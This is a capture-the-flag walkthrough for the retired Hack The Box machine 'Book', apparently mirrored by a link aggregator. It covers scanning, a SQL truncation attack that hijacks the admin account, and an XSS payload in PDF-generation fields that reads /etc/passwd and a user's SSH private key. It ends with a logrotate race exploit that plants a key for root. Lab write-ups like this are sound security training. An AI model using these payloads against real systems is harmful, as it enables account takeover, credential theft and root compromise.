8

Book: Hack The Box Walkthrough

 3 years ago
source link: https://hackso.me/book-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

This post documents the complete walkthrough of Book, a retired vulnerable VM created by MrR3boot , and hosted at Hack The Box . If you are uncomfortable with spoilers, please stop reading now.

On this post

  • Information Gathering
    • Directory/File Enumeration
    • Bypass admin ’s Authentication with SQL Truncation Attack
    • logrotate <= 3.15.1 - Privilege Escalation

Background

Book is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176 --rate=500

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-02-23 02:12:57 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.176
Discovered open port 22/tcp on 10.10.10.176

Nothing extraordinary. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80 -A --reason 10.10.10.176 -oN nmap.txt
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun

This is a shit show man. This is how the site looks like.

UZbQ3me.png!web

Directory/File Enumeration

Before we begin fuzzing, note that we can sign up a new account and log in to the site.

meaIVrv.png!web

Also, notice that there’s a validateForm() JavaScript.

RVzE3mr.png!web

Basically it does nothing other than telling us the length requirement of 10 and 20 characters respectively for the name and email fields. faqeii.png!web

FzQvErY.png!web

This is what the site looks like after logging in.

Bz2YJzy.jpg!web

The purpose of that is to get a valid session cookie for fuzzing.

gobuster dir -w dirbuster.txt -c "PHPSESSID=2abemapmnqa92r1nq42261m2fq" -t 20 -e -x php,pdf,txt -u http://10.10.10.176/                                                                                                                                                                           
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.176/
[+] Threads:        20
[+] Wordlist:       dirbuster.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] Cookies:        PHPSESSID=2abemapmnqa92r1nq42261m2fq
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     pdf,txt,php
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2020/02/23 04:32:17 Starting gobuster
===============================================================
http://10.10.10.176/images (Status: 301)
http://10.10.10.176/search.php (Status: 200)
http://10.10.10.176/download.php (Status: 200)
http://10.10.10.176/contact.php (Status: 200)
http://10.10.10.176/home.php (Status: 200)
http://10.10.10.176/index.php (Status: 302)
http://10.10.10.176/profile.php (Status: 200)
http://10.10.10.176/docs (Status: 301)
http://10.10.10.176/books.php (Status: 200)
http://10.10.10.176/feedback.php (Status: 200)
http://10.10.10.176/admin (Status: 301)
http://10.10.10.176/db.php (Status: 200)
http://10.10.10.176/logout.php (Status: 302)
http://10.10.10.176/collections.php (Status: 302)
http://10.10.10.176/settings.php (Status: 302)
Progress: 34144 / 81630 (41.83%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/02/23 04:48:57 Finished
===============================================================

On top of that, casual browsing of the site reveals the email address of admin .

qa22ayv.png!web

Bypass admin ’s Authentication with SQL Truncation Attack

Notice from above that there’s an /admin present? This is how it looks like.

M36rYbi.png!web

If I had to guess, I would say that the backend uses prepared statement from MySQLi extension for authentication. Why? Because I can tease out existing username check with the admin ’s email address alone.

aqimyuY.png!web

Which means that somewhere in index.php there’s code that does something like this:

$stmt=$conn->prepare("select email from users where email=?");
$stmt->bind_param('s',$_POST["email"]);
$stmt->execute();
$result = $stmt->get_result();
$num_rows=$result->num_rows;
if($num_rows > 0)
{
	echo '<script>alert("User Exits!");window.location="/index.php";</script>';
}
else
{
	$stmt=$conn->prepare("insert into users values(?,?,?)");
	$stmt->bind_param('sss',$_POST['name'],$_POST['email'],$_POST['password']);
	$stmt->execute();
	header('location: index.php');
}

Armed with this hypothesis, let’s see if we can bypass admin ’s authentication with a SQL truncation attack like this.

InAr63q.png!web

We noted that name has a 10 characters limit while email has a 20 characters limit. In Burp’s Repeater above, we input the name field with admin_____1 (11 characters, and where _ represents the space character) and the email field with [email protected]_______1 (21 characters, and where _ represents the space character).

This will allow us to bypass the existing username check based on email because there’s no username [email protected]______1 . Right after this, the INSERT query strips the 1 because of the 20 character limit and truncates the rest of the whitespaces and insert [email protected] into the database with my chosen password ( letmein ). After some testing, the character limit of the name field was found to be 11 instead of 10. Sneaky!

Now let’s see if we can log in to /admin .

7ryqaey.jpg!web

I notice that I can’t log in if I try it again at /admin/index.php . I have to re-insert the entry and then it works. Looks like some kind of database job is scheduled to aggressively remove the inserted entry from the database.

SSRF attack

Here’s where I found something interesting at the Collections page.

n2eQ32a.png!web

Opening the Collections PDF reveals something that looks like a generated PDF from a HTML.

ERfmmyn.jpg!web

With that in mind, let’s upload something with a litte something extra peppered in the Title and the Author columns like so.

<script>
xhr = new XMLHttpRequest();
xhr.onload = function() {
  document.write(this.responseText)
};
xhr.open("GET", "file:///etc/passwd");
xhr.send();
</script>

RJBNN3R.png!web

The PDF doesn’t even have to be a real PDF bi6Jfqv.png!web Now, let’s see what do we get.

BzYV3ui.png!web

Low-Privilege Shell

Maybe we can grab hold of reader ’s RSA private key with this little nugget?

<script>
xhr = new XMLHttpRequest();
xhr.onload = function() {
  document.write(this.responseText)
};
xhr.open("GET", "file:///home/reader/.ssh/id_rsa");
xhr.send();
</script>

BB77z2I.png!web

Awesome. After some massaging of the text, we should be able to log in as reader .

EvuuUnq.png!web

The file user.txt is at reader ’s home directory.

vUbM3ab.png!web

Privilege Escalation

During enumeration of reader ’s account, I notice that logrotate executes every 5 seconds.

zieUBrn.png!web

I also notice the presence of a backups directory containing two log files.

36BfuyF.png!web

Putting two and two together, I figure we might have a logrotten exploit at hand.

logrotate <= 3.15.1 - Privilege Escalation

If I had to guess, I would say that that /root/log.cfg may well look something like this.

/home/reader/backups/access.log {
        daily
        rotate 12
        missingok
        notifempty
        size 1k
        create
}

Let’s go ahead and put in a RSA public key I control into /root/.ssh/authorized_keys as the payload.

EjmYfyV.png!web

Bombs away.

VZNV3iz.png!web

We should get our root shell right after we re-login to reader ’s account.

R7RJJzn.png!web

Bam. Getting root.txt should be a piece of cake now.


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK